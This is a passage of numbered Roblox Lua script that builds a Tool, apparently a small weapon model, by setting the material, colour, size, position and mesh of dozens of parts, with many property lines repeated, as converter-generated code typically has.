  2121. BlockMesh143.Offset = Vector3.new(0, -0.0419999994, 0)
  2122. BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
  2123. BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
  2124. Part144.Parent = Tool0
  2125. Part144.Material = Enum.Material.SmoothPlastic
  2126. Part144.BrickColor = BrickColor.new("Black")
  2127. Part144.Reflectance = 0.050000000745058
  2128. Part144.Rotation = Vector3.new(90, 0, 165.539993)
  2129. Part144.Anchored = true
  2130. Part144.FormFactor = Enum.FormFactor.Custom
  2131. Part144.Size = Vector3.new(0.200000003, 0.449999988, 0.200000003)
  2132. Part144.CFrame = CFrame.new(26.9614258, 1.28222597, 138.385986, -0.968313754, -0.249736801, -7.44484936e-08, 9.68605463e-08, -7.74534854e-08, -0.999999583, 0.249736413, -0.968312979, 9.9188938e-08)
  2133. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2134. Part144.TopSurface = Enum.SurfaceType.Smooth
  2135. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2136. Part144.Position = Vector3.new(26.9614258, 1.28222597, 138.385986)
  2137. Part144.Orientation = Vector3.new(89.9499969, -36.8899994, 128.649994)
  2138. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2139. CylinderMesh145.Parent = Part144
  2140. CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
  2141. CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
  2142. Part146.Parent = Tool0
  2143. Part146.Material = Enum.Material.SmoothPlastic
  2144. Part146.BrickColor = BrickColor.new("Black")
  2145. Part146.Reflectance = 0.050000000745058
  2146. Part146.Rotation = Vector3.new(0, -0.539999962, 180)
  2147. Part146.Anchored = true
  2148. Part146.FormFactor = Enum.FormFactor.Custom
  2149. Part146.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2150. Part146.CFrame = CFrame.new(27.0931396, 1.06030297, 138.265137, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  2151. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2152. Part146.TopSurface = Enum.SurfaceType.Smooth
  2153. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2154. Part146.Position = Vector3.new(27.0931396, 1.06030297, 138.265137)
  2155. Part146.Orientation = Vector3.new(0, -0.539999962, 180)
  2156. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2157. BlockMesh147.Parent = Part146
  2158. BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  2159. BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  2160. Part148.Parent = Tool0
  2161. Part148.Material = Enum.Material.SmoothPlastic
  2162. Part148.BrickColor = BrickColor.new("Black")
  2163. Part148.Reflectance = 0.050000000745058
  2164. Part148.Rotation = Vector3.new(90, 0, 0.539999962)
  2165. Part148.Anchored = true
  2166. Part148.FormFactor = Enum.FormFactor.Custom
  2167. Part148.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2168. Part148.CFrame = CFrame.new(27.0906982, 0.835205019, 138.562073, 0.999955833, -0.00939106941, -7.51575016e-08, -7.35136609e-08, 1.7538153e-07, -0.999999523, 0.00939126313, 0.999955058, 1.74683436e-07)
  2169. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2170. Part148.TopSurface = Enum.SurfaceType.Smooth
  2171. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2172. Part148.Position = Vector3.new(27.0906982, 0.835205019, 138.562073)
  2173. Part148.Orientation = Vector3.new(89.9399948, -23.2799988, -22.7399998)
  2174. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2175. SpecialMesh149.Parent = Part148
  2176. SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2177. SpecialMesh149.MeshType = Enum.MeshType.Wedge
  2178. SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2179. Part150.Parent = Tool0
  2180. Part150.Material = Enum.Material.SmoothPlastic
  2181. Part150.BrickColor = BrickColor.new("Dark stone grey")
  2182. Part150.Reflectance = 0.050000000745058
  2183. Part150.Rotation = Vector3.new(180, 75.5400009, 90)
  2184. Part150.Anchored = true
  2185. Part150.FormFactor = Enum.FormFactor.Custom
  2186. Part150.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2187. Part150.CFrame = CFrame.new(26.8951416, 1.28222597, 138.124695, -6.36223589e-08, -0.24973698, 0.968313515, -0.999999583, -1.30446693e-07, -9.93476377e-08, 1.5112407e-07, -0.968312979, -0.249736756)
  2188. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2189. Part150.TopSurface = Enum.SurfaceType.Smooth
  2190. Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2191. Part150.Position = Vector3.new(26.8951416, 1.28222597, 138.124695)
  2192. Part150.Orientation = Vector3.new(0, 104.459999, -90)
  2193. Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2194. CylinderMesh151.Parent = Part150
  2195. CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
  2196. CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
  2197. Part152.Parent = Tool0
  2198. Part152.Material = Enum.Material.SmoothPlastic
  2199. Part152.BrickColor = BrickColor.new("Brick yellow")
  2200. Part152.Reflectance = 0.050000000745058
  2201. Part152.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
  2202. Part152.Anchored = true
  2203. Part152.FormFactor = Enum.FormFactor.Custom
  2204. Part152.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2205. Part152.CFrame = CFrame.new(27.0914307, 0.711181998, 138.478333, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031669, -0.877250552, 0.00939126313, 0.877211511, -0.480010271)
  2206. Part152.BottomSurface = Enum.SurfaceType.Smooth
  2207. Part152.TopSurface = Enum.SurfaceType.Smooth
  2208. Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2209. Part152.Position = Vector3.new(27.0914307, 0.711181998, 138.478333)
  2210. Part152.Orientation = Vector3.new(61.3099976, 179.459991, -180)
  2211. Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2212. SpecialMesh153.Parent = Part152
  2213. SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2214. SpecialMesh153.MeshType = Enum.MeshType.Wedge
  2215. SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2216. Part154.Parent = Tool0
  2217. Part154.Material = Enum.Material.SmoothPlastic
  2218. Part154.BrickColor = BrickColor.new("Brick yellow")
  2219. Part154.Reflectance = 0.050000000745058
  2220. Part154.Rotation = Vector3.new(180, 0.539999962, -180)
  2221. Part154.Anchored = true
  2222. Part154.FormFactor = Enum.FormFactor.Custom
  2223. Part154.Size = Vector3.new(0.209999993, 0.200000003, 0.270000011)
  2224. Part154.CFrame = CFrame.new(27.0947266, 0.877197027, 138.41217, -0.999955833, 7.65568586e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -3.24393056e-07, -0.00939126313, -3.2368834e-07, -0.999955058)
  2225. Part154.BottomSurface = Enum.SurfaceType.Smooth
  2226. Part154.TopSurface = Enum.SurfaceType.Smooth
  2227. Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2228. Part154.Position = Vector3.new(27.0947266, 0.877197027, 138.41217)
  2229. Part154.Orientation = Vector3.new(0, 179.459991, 0)
  2230. Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2231. BlockMesh155.Parent = Part154
  2232. BlockMesh155.Offset = Vector3.new(0.00300000003, -0.01425, 0)
  2233. BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
  2234. BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
  2235. Part156.Parent = Tool0
  2236. Part156.Material = Enum.Material.SmoothPlastic
  2237. Part156.BrickColor = BrickColor.new("Dark stone grey")
  2238. Part156.Reflectance = 0.050000000745058
  2239. Part156.Transparency = 1
  2240. Part156.Rotation = Vector3.new(-180, 0.539999962, -180)
  2241. Part156.Anchored = true
  2242. Part156.FormFactor = Enum.FormFactor.Custom
  2243. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2244. Part156.CFrame = CFrame.new(27.09375, 1.414307, 138.217346, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  2245. Part156.BottomSurface = Enum.SurfaceType.Smooth
  2246. Part156.TopSurface = Enum.SurfaceType.Smooth
  2247. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2248. Part156.Position = Vector3.new(27.09375, 1.414307, 138.217346)
  2249. Part156.Orientation = Vector3.new(0, 179.459991, 0)
  2250. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2251. BlockMesh157.Parent = Part156
  2252. BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
  2253. BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
  2254. Part158.Parent = Tool0
  2255. Part158.Material = Enum.Material.SmoothPlastic
  2256. Part158.BrickColor = BrickColor.new("Black")
  2257. Part158.Reflectance = 0.050000000745058
  2258. Part158.Rotation = Vector3.new(-180, -89.4599991, -90)
  2259. Part158.Anchored = true
  2260. Part158.FormFactor = Enum.FormFactor.Custom
  2261. Part158.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  2262. Part158.CFrame = CFrame.new(27.0986328, 1.27026403, 138.982239, 7.63110108e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.42566968e-08, -2.18385907e-07, -0.999955297, -0.00939120352)
  2263. Part158.BottomSurface = Enum.SurfaceType.Smooth
  2264. Part158.TopSurface = Enum.SurfaceType.Smooth
  2265. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2266. Part158.Position = Vector3.new(27.0986328, 1.27026403, 138.982239)
  2267. Part158.Orientation = Vector3.new(0, -90.5400009, 90)
  2268. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2269. CylinderMesh159.Parent = Part158
  2270. CylinderMesh159.Offset = Vector3.new(0.00300000003, -0.00300000003, 0.00150000001)
  2271. CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
  2272. CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
  2273. Part160.Parent = Tool0
  2274. Part160.Material = Enum.Material.SmoothPlastic
  2275. Part160.BrickColor = BrickColor.new("Black")
  2276. Part160.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
  2277. Part160.Anchored = true
  2278. Part160.FormFactor = Enum.FormFactor.Custom
  2279. Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2280. Part160.CFrame = CFrame.new(27.0817871, 0.855225027, 139.47522, 0.999955893, -0.00469633937, 0.00813275576, -4.37112533e-08, -0.86598748, -0.500062525, 0.00939150155, 0.500040412, -0.865949214)
  2281. Part160.BottomSurface = Enum.SurfaceType.Smooth
  2282. Part160.TopSurface = Enum.SurfaceType.Smooth
  2283. Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2284. Part160.Position = Vector3.new(27.0817871, 0.855225027, 139.47522)
  2285. Part160.Orientation = Vector3.new(30, 179.459991, -180)
  2286. Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2287. BlockMesh161.Parent = Part160
  2288. BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
  2289. BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
  2290. Part162.Parent = Tool0
  2291. Part162.Material = Enum.Material.SmoothPlastic
  2292. Part162.BrickColor = BrickColor.new("Black")
  2293. Part162.Rotation = Vector3.new(-30.0100002, -0.469999999, 179.729996)
  2294. Part162.Anchored = true
  2295. Part162.FormFactor = Enum.FormFactor.Custom
  2296. Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2297. Part162.CFrame = CFrame.new(27.0822754, 0.845215023, 139.457214, -0.999955893, -0.00469633937, -0.00813275576, 4.37112533e-08, -0.86598748, 0.500062525, -0.00939150155, 0.500040412, 0.865949214)
  2298. Part162.BottomSurface = Enum.SurfaceType.Smooth
  2299. Part162.TopSurface = Enum.SurfaceType.Smooth
  2300. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2301. Part162.Position = Vector3.new(27.0822754, 0.845215023, 139.457214)
  2302. Part162.Orientation = Vector3.new(-30, -0.539999962, 180)
  2303. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2304. SpecialMesh163.Parent = Part162
  2305. SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
  2306. SpecialMesh163.MeshType = Enum.MeshType.Wedge
  2307. SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
  2308. Part164.Parent = Tool0
  2309. Part164.Material = Enum.Material.SmoothPlastic
  2310. Part164.BrickColor = BrickColor.new("Black")
  2311. Part164.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
  2312. Part164.Anchored = true
  2313. Part164.FormFactor = Enum.FormFactor.Custom
  2314. Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2315. Part164.CFrame = CFrame.new(27.0821533, 0.863281012, 139.488281, 0.999955893, -0.00469634682, 0.00813275576, -4.3711136e-08, -0.865985572, -0.500061572, 0.00939150155, 0.500039399, -0.865947366)
  2316. Part164.BottomSurface = Enum.SurfaceType.Smooth
  2317. Part164.TopSurface = Enum.SurfaceType.Smooth
  2318. Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2319. Part164.Position = Vector3.new(27.0821533, 0.863281012, 139.488281)
  2320. Part164.Orientation = Vector3.new(30, 179.459991, -180)
  2321. Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2322. Decal165.Parent = Part164
  2323. Decal165.Texture = "http://www.roblox.com/asset/?id=65628034"
  2324. Decal165.Face = Enum.NormalId.Bottom
  2325. SpecialMesh166.Parent = Part164
  2326. SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
  2327. SpecialMesh166.MeshType = Enum.MeshType.Wedge
  2328. SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
  2329. Part167.Parent = Tool0
  2330. Part167.Material = Enum.Material.SmoothPlastic
  2331. Part167.BrickColor = BrickColor.new("Black")
  2332. Part167.Rotation = Vector3.new(-180, -89.4599991, 120.009995)
  2333. Part167.Anchored = true
  2334. Part167.FormFactor = Enum.FormFactor.Custom
  2335. Part167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2336. Part167.CFrame = CFrame.new(27.0826416, 0.987304986, 139.373901, -0.00469636917, -0.00813265145, -0.999955893, -0.865986645, 0.500062168, 4.37110863e-08, 0.500039935, 0.865948439, -0.00939150155)
  2337. Part167.BottomSurface = Enum.SurfaceType.Smooth
  2338. Part167.TopSurface = Enum.SurfaceType.Smooth
  2339. Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2340. Part167.Position = Vector3.new(27.0826416, 0.987304986, 139.373901)
  2341. Part167.Orientation = Vector3.new(0, -90.5400009, -60)
  2342. Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2343. BlockMesh168.Parent = Part167
  2344. BlockMesh168.Offset = Vector3.new(0.0149999997, 0.00600000005, 0)
  2345. BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
  2346. BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
  2347. Part169.Parent = Tool0
  2348. Part169.Material = Enum.Material.SmoothPlastic
  2349. Part169.BrickColor = BrickColor.new("Black")
  2350. Part169.Rotation = Vector3.new(-180, -89.4599991, -150)
  2351. Part169.Anchored = true
  2352. Part169.FormFactor = Enum.FormFactor.Custom
  2353. Part169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2354. Part169.CFrame = CFrame.new(27.0803223, 1.00415003, 139.671265, -0.00813287497, 0.00469574332, -0.999955893, 0.500007033, 0.866016328, 4.37110863e-08, 0.865977883, -0.499984801, -0.00939150155)
  2355. Part169.BottomSurface = Enum.SurfaceType.Smooth
  2356. Part169.TopSurface = Enum.SurfaceType.Smooth
  2357. Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2358. Part169.Position = Vector3.new(27.0803223, 1.00415003, 139.671265)
  2359. Part169.Orientation = Vector3.new(0, -90.5400009, 30)
  2360. Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2361. BlockMesh170.Parent = Part169
  2362. BlockMesh170.Offset = Vector3.new(-0.103500001, 0.032250002, 0)
  2363. BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
  2364. BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
  2365. Part171.Parent = Tool0
  2366. Part171.Material = Enum.Material.SmoothPlastic
  2367. Part171.BrickColor = BrickColor.new("Black")
  2368. Part171.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
  2369. Part171.Anchored = true
  2370. Part171.FormFactor = Enum.FormFactor.Custom
  2371. Part171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2372. Part171.CFrame = CFrame.new(27.0795898, 0.996093988, 139.719849, -0.999955893, -0.00469574332, -0.00813275576, 4.37111325e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
  2373. Part171.BottomSurface = Enum.SurfaceType.Smooth
  2374. Part171.TopSurface = Enum.SurfaceType.Smooth
  2375. Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2376. Part171.Position = Vector3.new(27.0795898, 0.996093988, 139.719849)
  2377. Part171.Orientation = Vector3.new(-30, -0.539999962, 180)
  2378. Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2379. BlockMesh172.Parent = Part171
  2380. BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
  2381. BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
  2382. Part173.Parent = Tool0
  2383. Part173.Material = Enum.Material.SmoothPlastic
  2384. Part173.BrickColor = BrickColor.new("Black")
  2385. Part173.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
  2386. Part173.Anchored = true
  2387. Part173.FormFactor = Enum.FormFactor.Custom
  2388. Part173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2389. Part173.CFrame = CFrame.new(27.079834, 0.985107005, 139.702026, -0.999955893, -0.00469574332, -0.00813275576, 4.37111645e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
  2390. Part173.BottomSurface = Enum.SurfaceType.Smooth
  2391. Part173.TopSurface = Enum.SurfaceType.Smooth
  2392. Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2393. Part173.Position = Vector3.new(27.079834, 0.985107005, 139.702026)
  2394. Part173.Orientation = Vector3.new(-30, -0.539999962, 180)
  2395. Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2396. SpecialMesh174.Parent = Part173
  2397. SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
  2398. SpecialMesh174.MeshType = Enum.MeshType.Wedge
  2399. SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
  2400. Part175.Parent = Tool0
  2401. Part175.Material = Enum.Material.SmoothPlastic
  2402. Part175.BrickColor = BrickColor.new("Black")
  2403. Part175.Rotation = Vector3.new(-180, -89.4599991, -180)
  2404. Part175.Anchored = true
  2405. Part175.FormFactor = Enum.FormFactor.Custom
  2406. Part175.Size = Vector3.new(0.779999971, 0.200000003, 0.200000003)
  2407. Part175.CFrame = CFrame.new(27.0797119, 1.07519495, 139.687134, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  2408. Part175.BottomSurface = Enum.SurfaceType.Smooth
  2409. Part175.TopSurface = Enum.SurfaceType.Smooth
  2410. Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2411. Part175.Position = Vector3.new(27.0797119, 1.07519495, 139.687134)
  2412. Part175.Orientation = Vector3.new(0, -90.5400009, 0)
  2413. Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2414. BlockMesh176.Parent = Part175
  2415. BlockMesh176.Offset = Vector3.new(0, 0.00900000054, 0)
  2416. BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
  2417. BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
  2418. Part177.Parent = Tool0
  2419. Part177.Material = Enum.Material.SmoothPlastic
  2420. Part177.BrickColor = BrickColor.new("Black")
  2421. Part177.Rotation = Vector3.new(150, 0.469999999, 0.269999981)
  2422. Part177.Anchored = true
  2423. Part177.FormFactor = Enum.FormFactor.Custom
  2424. Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2425. Part177.CFrame = CFrame.new(27.0797119, 1.00610304, 139.738525, 0.999955893, -0.00469574332, 0.00813275576, -4.37111325e-08, -0.86601609, -0.500007153, 0.00939150155, 0.499985039, -0.865977705)
  2426. Part177.BottomSurface = Enum.SurfaceType.Smooth
  2427. Part177.TopSurface = Enum.SurfaceType.Smooth
  2428. Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2429. Part177.Position = Vector3.new(27.0797119, 1.00610304, 139.738525)
  2430. Part177.Orientation = Vector3.new(30, 179.459991, -180)
  2431. Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2432. SpecialMesh178.Parent = Part177
  2433. SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
  2434. SpecialMesh178.MeshType = Enum.MeshType.Wedge
  2435. SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
  2436. Part179.Parent = Tool0
  2437. Part179.Material = Enum.Material.SmoothPlastic
  2438. Part179.BrickColor = BrickColor.new("Brick yellow")
  2439. Part179.Rotation = Vector3.new(0, 89.4599991, 180)
  2440. Part179.Anchored = true
  2441. Part179.FormFactor = Enum.FormFactor.Custom
  2442. Part179.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
  2443. Part179.CFrame = CFrame.new(26.9969482, 1.08422804, 139.881348, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
  2444. Part179.BottomSurface = Enum.SurfaceType.Smooth
  2445. Part179.TopSurface = Enum.SurfaceType.Smooth
  2446. Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2447. Part179.Position = Vector3.new(26.9969482, 1.08422804, 139.881348)
  2448. Part179.Orientation = Vector3.new(0, 89.4599991, -180)
  2449. Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2450. SpecialMesh180.Parent = Part179
  2451. SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2452. SpecialMesh180.MeshType = Enum.MeshType.Wedge
  2453. SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2454. Part181.Parent = Tool0
  2455. Part181.Material = Enum.Material.SmoothPlastic
  2456. Part181.BrickColor = BrickColor.new("Brick yellow")
  2457. Part181.Rotation = Vector3.new(-180, -89.4599991, 0)
  2458. Part181.Anchored = true
  2459. Part181.FormFactor = Enum.FormFactor.Custom
  2460. Part181.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
  2461. Part181.CFrame = CFrame.new(27.1591797, 1.08422804, 139.883057, 0.00939145684, -4.35706298e-08, -0.999955893, 1.4781123e-08, -0.99999994, 4.37113812e-08, -0.999955773, -1.51909649e-08, -0.00939150155)
  2462. Part181.BottomSurface = Enum.SurfaceType.Smooth
  2463. Part181.TopSurface = Enum.SurfaceType.Smooth
  2464. Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2465. Part181.Position = Vector3.new(27.1591797, 1.08422804, 139.883057)
  2466. Part181.Orientation = Vector3.new(0, -90.5400009, 180)
  2467. Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2468. SpecialMesh182.Parent = Part181
  2469. SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2470. SpecialMesh182.MeshType = Enum.MeshType.Wedge
  2471. SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2472. Part183.Parent = Tool0
  2473. Part183.Material = Enum.Material.SmoothPlastic
  2474. Part183.BrickColor = BrickColor.new("Black")
  2475. Part183.Rotation = Vector3.new(0, -0.539999962, 0)
  2476. Part183.Anchored = true
  2477. Part183.FormFactor = Enum.FormFactor.Custom
  2478. Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2479. Part183.CFrame = CFrame.new(26.9984131, 1.12915003, 139.746155, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  2480. Part183.BottomSurface = Enum.SurfaceType.Smooth
  2481. Part183.TopSurface = Enum.SurfaceType.Smooth
  2482. Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2483. Part183.Position = Vector3.new(26.9984131, 1.12915003, 139.746155)
  2484. Part183.Orientation = Vector3.new(0, -0.539999962, 0)
  2485. Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2486. SpecialMesh184.Parent = Part183
  2487. SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2488. SpecialMesh184.MeshType = Enum.MeshType.Wedge
  2489. SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2490. Part185.Parent = Tool0
  2491. Part185.Material = Enum.Material.SmoothPlastic
  2492. Part185.BrickColor = BrickColor.new("Black")
  2493. Part185.Rotation = Vector3.new(-180, -89.4599991, -180)
  2494. Part185.Anchored = true
  2495. Part185.FormFactor = Enum.FormFactor.Custom
  2496. Part185.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
  2497. Part185.CFrame = CFrame.new(27.1588135, 1.12915003, 139.942932, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  2498. Part185.BottomSurface = Enum.SurfaceType.Smooth
  2499. Part185.TopSurface = Enum.SurfaceType.Smooth
  2500. Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2501. Part185.Position = Vector3.new(27.1588135, 1.12915003, 139.942932)
  2502. Part185.Orientation = Vector3.new(0, -90.5400009, 0)
  2503. Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2504. BlockMesh186.Parent = Part185
  2505. BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2506. BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2507. Part187.Parent = Tool0
  2508. Part187.Material = Enum.Material.SmoothPlastic
  2509. Part187.BrickColor = BrickColor.new("Black")
  2510. Part187.Rotation = Vector3.new(-180, -89.4599991, -180)
  2511. Part187.Anchored = true
  2512. Part187.FormFactor = Enum.FormFactor.Custom
  2513. Part187.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
  2514. Part187.CFrame = CFrame.new(26.9967041, 1.12915003, 139.941467, -0.00939130783, 4.38506476e-08, -0.999955893, 1.50212571e-08, 0.999995947, 4.37110863e-08, 0.99995172, -1.46100732e-08, -0.00939150155)
  2515. Part187.BottomSurface = Enum.SurfaceType.Smooth
  2516. Part187.TopSurface = Enum.SurfaceType.Smooth
  2517. Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2518. Part187.Position = Vector3.new(26.9967041, 1.12915003, 139.941467)
  2519. Part187.Orientation = Vector3.new(0, -90.5400009, 0)
  2520. Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2521. BlockMesh188.Parent = Part187
  2522. BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2523. BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2524. Part189.Parent = Tool0
  2525. Part189.Material = Enum.Material.SmoothPlastic
  2526. Part189.BrickColor = BrickColor.new("Black")
  2527. Part189.Rotation = Vector3.new(0, -0.539999962, 0)
  2528. Part189.Anchored = true
  2529. Part189.FormFactor = Enum.FormFactor.Custom
  2530. Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2531. Part189.CFrame = CFrame.new(27.1602783, 1.12915003, 139.747681, 0.999955893, 4.38506476e-08, -0.00939130783, -4.37110863e-08, 0.999995947, 1.50212571e-08, 0.00939150155, -1.46100732e-08, 0.99995172)
  2532. Part189.BottomSurface = Enum.SurfaceType.Smooth
  2533. Part189.TopSurface = Enum.SurfaceType.Smooth
  2534. Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2535. Part189.Position = Vector3.new(27.1602783, 1.12915003, 139.747681)
  2536. Part189.Orientation = Vector3.new(0, -0.539999962, 0)
  2537. Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2538. SpecialMesh190.Parent = Part189
  2539. SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2540. SpecialMesh190.MeshType = Enum.MeshType.Wedge
  2541. SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2542. Part191.Parent = Tool0
